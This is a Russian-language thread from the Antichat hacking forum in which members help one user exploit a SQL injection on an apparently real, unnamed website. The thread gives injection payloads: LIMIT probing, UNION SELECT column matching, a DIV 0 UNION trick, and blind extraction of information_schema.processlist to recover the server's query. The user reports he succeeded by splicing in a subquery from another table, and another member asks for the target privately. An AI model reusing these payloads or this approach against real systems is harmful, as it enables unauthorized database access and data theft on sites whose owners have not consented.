ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Вредный скуль (https://forum.antichat.xyz/showthread.php?t=427831)

user6334 17.07.2015 10:50

Всем привет! Оставив безуспешные попытки (спасибо администрации за молчание) восстановить свой аккаунт, зарегистрировался снова. Вот, теперь приходится писать в песочнице ) Но вопрос очень актуальный, так что прошу помощи. Есть SQLi, пытался раскрутить классически:

id=1 LIMIT 1 - пустая страница

id=1 LIMIT 2 - пустая страница

id=1 LIMIT 3 - пустая страница

id=1 LIMIT 4 - пустая страница

id=1 LIMIT 5 - пустая страница

id=1 LIMIT 6 - пустая страница

id=1 LIMIT 7 - пустая страница

id=1 LIMIT 8 - отображается одна строка с данными

id=1 LIMIT 9 - две строки с данными

id=1 LIMIT 10 - три строки с данными

и т.д.

Затем я подобрал число столбцов, их оказалось 7.

1 LIMIT 1 UNION SELECT 1,2,3,4,5,6,7 - пустая страница

1 LIMIT 2 UNION SELECT 1,2,3,4,5,6,7 - одна строка с данными

1 LIMIT 3 UNION SELECT 1,2,3,4,5,6,7 - две строки с данными

и т.д.

Вывести данные из других таблиц не получается! И потом, что меня вообще убило:

1 LIMIT 0,10 - три строки с данными

1 LIMIT 1,10 - четыре строки с данными

1 LIMIT 2,10 - пустая страница

faza02 17.07.2015 11:16

а зачем LIMIT? запрос как выглядит? скорее всего, у вас там два запроса, которые выполняются одновременно. error-based не пойдет?

user6334 17.07.2015 11:25

Вывод ошибок отключен. Я тоже не знаю, какого вида запрос, вот и мучаюсь.

faza02 17.07.2015 11:34

Цитата:

Сообщение от user6334

Вывод ошибок отключен. Я тоже не знаю, какого вида запрос, вот и мучаюсь.

как blind крутить можете же. сделайте запрос SELECT info FROM information_schema.processlist и посмотрите

user6334 17.07.2015 11:56

Конечно, слепой скуль крутить я могу, задача как раз и состоит в том, чтобы он прозрел ). Спасибо за подсказку, сейчас попробую

user6334 17.07.2015 15:41

SELECT `id`, `parent_id`, `href`, `params`, `anchor`, `date_created`, `subtitle` FROM `vw_menu_city_list` WHERE `language_id` = 1

Вот такой классический запрос, ничего интересного я в нем не нашел. Кроме столбцов, которые выводятся в таблице есть еще и другие, в частности `language_id`. С чем связано такое странное поведение?

faza02 17.07.2015 15:49

Цитата:

Сообщение от user6334

SELECT `id`, `parent_id`, `href`, `params`, `anchor`, `date_created`, `subtitle` FROM `vw_menu_city_list` WHERE `language_id` = 1
Вот такой классический запрос, ничего интересного я в нем не нашел. Кроме столбцов, которые выводятся в таблице есть еще и другие, в частности `language_id`. С чем связано такое странное поведение?

count(info) = 1?

попробуйте id = 1 DIV 0 UNION SELECT 1,2,3,4,5,6,7-- f

user6334 17.07.2015 16:17

Цитата:

Сообщение от yarbabin

попробуйте id = 1 DIV 0 UNION SELECT 1,2,3,4,5,6,7-- f

вернулся пустой результат, в коде страницы тоже пусто

faza02 17.07.2015 16:25

там был еще вопрос

user6334 17.07.2015 16:28

Цитата:

Сообщение от yarbabin

count(info) = 1?

да

faza02 18.07.2015 12:04

Цитата:

Сообщение от user6334

да

скорее всего, переменная попадает еще в условие типа

Код:

if (language_id = 1): echo "................";
else echo ""

поэтому вывод пустой. вариантов я пока что-то не вижу

b3 18.07.2015 12:17

скинь ты уже скуль толпой поковыряем, ну или в пм

user6334 18.07.2015 15:32

Цитата:

Сообщение от yarbabin

скорее всего, переменная попадает еще в условие

если бы там еще какое-нибудь условие было, то так бы, к примеру, ничего не отображалось: id=1 LIMIT 1000. Так нет же, выводиться полный список.

user6334 18.07.2015 15:36

b3, скунул в личку

b3 18.07.2015 17:06

Только как слепая пока что крутиться

user6334 18.07.2015 17:41

Ну а почему мои SQL-конструкции (см. пост #1) таким образом работают? Есть хотя бы какие-то предположения?

b3 18.07.2015 18:29

Цитата:

Сообщение от user6334

Ну а почему мои SQL-конструкции (см. пост #1) таким образом работают? Есть хотя бы какие-то предположения?

Вангу нужно звать. Кстати у меня вообще 8 колонок вышло а не 7 как у тебя.

user6334 18.07.2015 18:39

Цитата:

Сообщение от b3

у меня вообще 8 колонок вышло а не 7 как у тебя

да ладно? )

Цитата:

Сообщение от yarbabin

сделайте запрос SELECT info FROM information_schema.processlist и посмотрите


b3 18.07.2015 18:46

Цитата:

Сообщение от None
SELECT info FROM information_schema.processlist

ой не, это долго же блиндом будет доставать

faza02 18.07.2015 18:51

Цитата:

Сообщение от b3

ой не, это долго же блиндом будет доставать

так он уже достал, #6 пост

user6334 18.07.2015 19:30

Где-то минуты за 4 управился. Разве долго? )

b3 18.07.2015 19:53

Тот запрос я видел но мне кажется у меня он другой, раз кол-во колонок отличается

user6334 18.07.2015 19:56

Вот и покажи, какой другой, интересно же )

user6334 23.07.2015 16:23

Нашел решение проблемы: составил дублирующий запрос, а в дубле, в ссылочное поле врезал подзапрос из другой таблицы. Все работает ) Странное поведение (см. пост #1) объясняется характером обработки формируемой ч/з SQL-запрос таблицы (обратил внимание на нелинейность данных при группировке по разным полям вывода). Когда в школе читали лекцию про подзапросы, я пил пиво с друзьями, поэтому не уловил суть. Хотите прикол?

Код:

SELECT 1,(SELECT 2),3 UNION SELECT 4,5,6
В ответе будет одна строка: 1,2,3

А если так:

Код:

SELECT 1,2,3 UNION SELECT 4,(SElECT 5),6
То будет уже 2:

1,2,3

4,5,6

Парни, кто сдал зачет, подскажите, плиз, почему так? )

BigBear 23.07.2015 16:29

Очень интересная находка.

С нетерпением жду ответа экспертов =)

Strilo4ka 23.07.2015 16:57

Цитата:

Сообщение от user6334

Нашел решение проблемы: составил дублирующий запрос, а в дубле, в ссылочное поле врезал подзапрос из другой таблицы. Все работает ) Странное поведение (см. пост #1) объясняется характером обработки формируемой ч/з SQL-запрос таблицы (обратил внимание на нелинейность данных при группировке по разным полям вывода). Когда в школе читали лекцию про подзапросы, я пил пиво с друзьями, поэтому не уловил суть. Хотите прикол?
Код:

SELECT 1,(SELECT 2),3 UNION SELECT 4,5,6
В ответе будет одна строка: 1,2,3
А если так:
Код:

SELECT 1,2,3 UNION SELECT 4,(SElECT 5),6
То будет уже 2:
1,2,3
4,5,6
Парни, кто сдал зачет, подскажите, плиз, почему так? )

У меня не отличается результат на MySQL 5.6.21, только что тестанул.

b3 23.07.2015 17:54

Я чтото пропустил или вы добились вывода?

user6334 23.07.2015 19:21

b3, да, добился

user6334 23.07.2015 19:26

Strilo4ka, тестил здесь: https://www.phpmyadmin.net/try/

b3 23.07.2015 19:27

Цитата:

Сообщение от user6334

b3, да, добился

скинь в пм) интересно)

user6334 23.07.2015 19:37

b3, что скинуть? итак вроде все понятно написал:

Цитата:

Сообщение от user6334

составил дублирующий запрос, а в дубле, в ссылочное поле врезал подзапрос из другой таблицы


frank 24.07.2015 14:16

тоже тестанул 5.5.23 версия и тоже не отличается. Как и у Strilo4ka

user6334 24.07.2015 15:04

Парни, вы, конечно, правы, я сам только что потестил и убедился. НО! Если версия 5.5.40-0+wheezy1, получается так:

Код:

SELECT 1,2,3 UNION SELECT 4,5,6
Результат:

1 2 3http://demo.phpmyadmin.net/master-config/themes/dot.gif

4 5 6

Код:

SELECT 1,(SELECT 2),3 UNION SELECT 4,5,6
Результат:

1 2 3

Т.е. UNION во 2-м запросе не работает!


Время: 19:49